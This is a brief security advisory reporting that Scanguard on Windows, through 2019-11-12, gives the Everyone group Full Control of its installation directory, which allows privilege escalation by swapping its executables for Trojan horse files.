[Security Issue]
Scanguard through 2019-11-12 on Windows has Insecure Permissions for the installation directory, leading to
privilege escalation via a Trojan horse executable file.

The product sets weak access control restrictions, as permissions are set to Full Control for Everyone group.
This can allow low integrity malware the ability to replace ScanGuard executables.
